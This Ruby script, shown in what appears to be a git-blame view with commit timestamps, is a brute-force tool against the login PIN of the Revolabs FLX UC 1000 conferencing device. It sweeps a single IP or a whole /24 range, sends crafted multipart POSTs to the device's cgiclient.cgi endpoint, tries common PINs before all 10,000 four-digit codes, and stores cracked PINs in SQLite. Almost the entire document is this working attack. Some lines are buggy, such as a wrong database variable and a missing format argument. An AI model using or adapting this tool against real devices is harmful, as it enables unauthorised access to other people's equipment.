2016-07-01 04:50:14 +02:00
#!/usr/bin/env ruby
## bf_login.rb - brute force the login for the revolabs flx UC 1000
require 'json'
require 'net/http'
2016-07-19 16:23:12 +02:00
require 'sequel'
2016-07-01 04:50:14 +02:00
require 'uri'
2016-07-19 16:23:12 +02:00
class BfLogin
attr_reader :address , :dbh , :errors , :responses
def initialize ( address )
@address = address
@errors = Array . new
@responses = Array . new
db = 'bf_login.db'
@dbh = Sequel . connect ( sprintf ( 'sqlite://%s' , db ) )
end
def initialize_db
@db . create_table? :pins do
primary_key :id
String :ip
String :pin
Date :created
end
end
def add_pin_to_db ( ip , pin )
@dbh [ :pins ] . insert (
:ip = > ip ,
:pin = > pin ,
:created = > Time . now ,
)
end
# return a Net::HTTP::Post request suitable for validating +pin+
def get_request ( uri , pin )
request = Net :: HTTP :: Post . new ( uri . request_uri )
request [ 'Accept' ] = 'application/json, text/plain, */*'
request [ 'Accept-Encoding' ] = 'gzip, deflate'
request [ 'Accept-Language' ] = 'en-US,en;q=0.8'
request [ 'Connection' ] = 'keep-alive'
request [ 'Content-Type' ] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
request [ 'Origin' ] = sprintf ( 'http://%s' , uri . host )
request [ 'Referer' ] = sprintf ( 'http://%s/login' , uri . host )
request [ 'User-Agent' ] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
# TODO determine necessity of this, given fuzzing, it's probably unnecessary
request [ 'Cookie' ] = sprintf ( '_ga=GA1.4.595462255.%s' , Time . now . to_i )
body = Array . new
body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work
body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
body << 'Content-type: plain/text'
body << '' # newline
body << sprintf ( '<properties sys.validate-password="%s"/>' , pin )
body << '-----------------------------7da24f2e50046'
request . body = body . join ( " \r \n " )
request
end
# return True|False
def check_pin ( url , pin )
uri = URI . parse ( url )
http = Net :: HTTP . new ( uri . host , uri . port )
2016-07-01 04:50:14 +02:00
2016-07-19 16:23:12 +02:00
request = get_request ( uri , pin )
response = http . request ( request )
2016-07-01 04:50:14 +02:00
2016-07-19 16:23:12 +02:00
# <properties sys.validate-password="0"></properties>
response . body . match ( / 1 / ) ? true : false
end
2016-07-01 04:50:14 +02:00
end
#
## main()
2016-10-15 18:31:22 +02:00
address = ARGV . first
2016-07-01 04:50:14 +02:00
if address . nil?
2016-07-05 02:53:47 +02:00
puts sprintf ( 'usage: %s <ipaddress/range>' , __FILE__ )
puts sprintf ( ' %s 192.168.1.42' , __FILE__ )
puts sprintf ( ' %s 192.168.1.*' , __FILE__ )
2016-07-01 04:50:14 +02:00
exit 1
end
2016-07-05 02:53:47 +02:00
mode = address . match ( / ^(?: \ d{1,3}){3} \ . \ d{1,3}$ / ) ? :ip : :range
targets = Array . new
if mode . eql? ( :ip )
targets << address
elsif mode . eql? ( :range )
base = address . split ( '.' ) [ 0 .. 2 ] . join ( '.' )
1 . upto ( 254 ) do | octet |
targets << sprintf ( '%s.%s' , base , octet )
end
end
2016-11-09 01:26:27 +01:00
_pins = Array . new
9999 . downto ( 0 ) . to_a . each do | i |
_pins << sprintf ( '%04d' , i )
2016-07-08 10:01:11 +02:00
end
2016-11-09 01:26:27 +01:00
prioritized = [ 1234 , 2546 , 1739 , 9876 , 1425 , 4152 ] . each . collect { | i | i . to_s } # commonly used PINs
2016-07-05 02:53:47 +02:00
2016-07-19 16:23:12 +02:00
# TODO come up with way to generate patterns - keys that are nearby, incremental/decremental ranges
2016-07-08 10:01:11 +02:00
2016-07-05 02:53:47 +02:00
# commonly used PINs that follow a pattern
0 . upto ( 9 ) do | i |
2016-11-09 01:26:27 +01:00
prioritized << sprintf ( '%04d' , i * 1111 )
2016-07-05 02:53:47 +02:00
end
2016-11-09 01:26:27 +01:00
pins = [ prioritized , _pins ] . flatten . uniq
2016-07-08 10:01:11 +02:00
2016-07-05 02:53:47 +02:00
targets . each do | target |
2016-07-19 16:23:12 +02:00
app = BfLogin . new ( target )
2016-07-08 10:01:11 +02:00
url = sprintf ( 'http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=' , target )
puts sprintf ( 'url: [%s]' , url )
2016-11-09 01:26:27 +01:00
pins . each do | pin |
2016-07-02 00:16:47 +02:00
begin
2016-07-08 10:01:11 +02:00
puts sprintf ( ' trying pin[%s]' , pin )
2016-07-01 04:50:14 +02:00
2016-10-15 18:31:22 +02:00
response = app . check_pin ( url , pin )
app . responses << { :ip = > target , :pin = > pin , :results = > response }
2016-07-05 02:53:47 +02:00
2016-07-19 16:23:12 +02:00
if response
app . add_pin_to_db ( target , pin )
puts sprintf ( 'INFO: found PIN[%s] for [%s]' , pin , target )
2016-07-02 00:16:47 +02:00
break
end
2016-07-01 04:50:14 +02:00
2016-07-05 02:53:47 +02:00
# this was necessary when testing against a local server, but not against real devices
2016-07-02 00:16:47 +02:00
#sleep 1 if (i % 100).eql?(0)
2016-07-01 04:50:14 +02:00
2016-07-02 00:16:47 +02:00
rescue = > e
puts sprintf ( 'ERROR: something bad happened on pin[%s]: [%s:%s]' , pin , e . class , e . message )
2016-10-15 18:31:22 +02:00
app . errors << { :exception = > e , :pin = > pin }
2016-07-02 00:16:47 +02:00
end
2016-07-01 04:50:14 +02:00
2016-07-02 00:16:47 +02:00
end
2016-07-01 04:50:14 +02:00
2016-10-15 18:31:22 +02:00
unless app . errors . empty?
app . errors . each do | e |
2016-07-19 16:23:12 +02:00
puts sprintf ( 'ERROR: pin[%s] trace[%s]' , e [ :pin ] , e [ :exception ] )
end
2016-07-01 04:50:14 +02:00
2016-10-15 18:31:22 +02:00
puts sprintf ( 'ERROR: [%d] total errors' , app . errors . size )
2016-07-19 16:23:12 +02:00
else
# TODO this is going to get lost in the console output when running against multiple targets -- should we stop printing the PINs attempted?
2016-10-15 18:31:22 +02:00
puts sprintf ( 'tested[%s] PINs, found correct one[%s]' , app . responses . size , )
2016-07-19 16:23:12 +02:00
end
end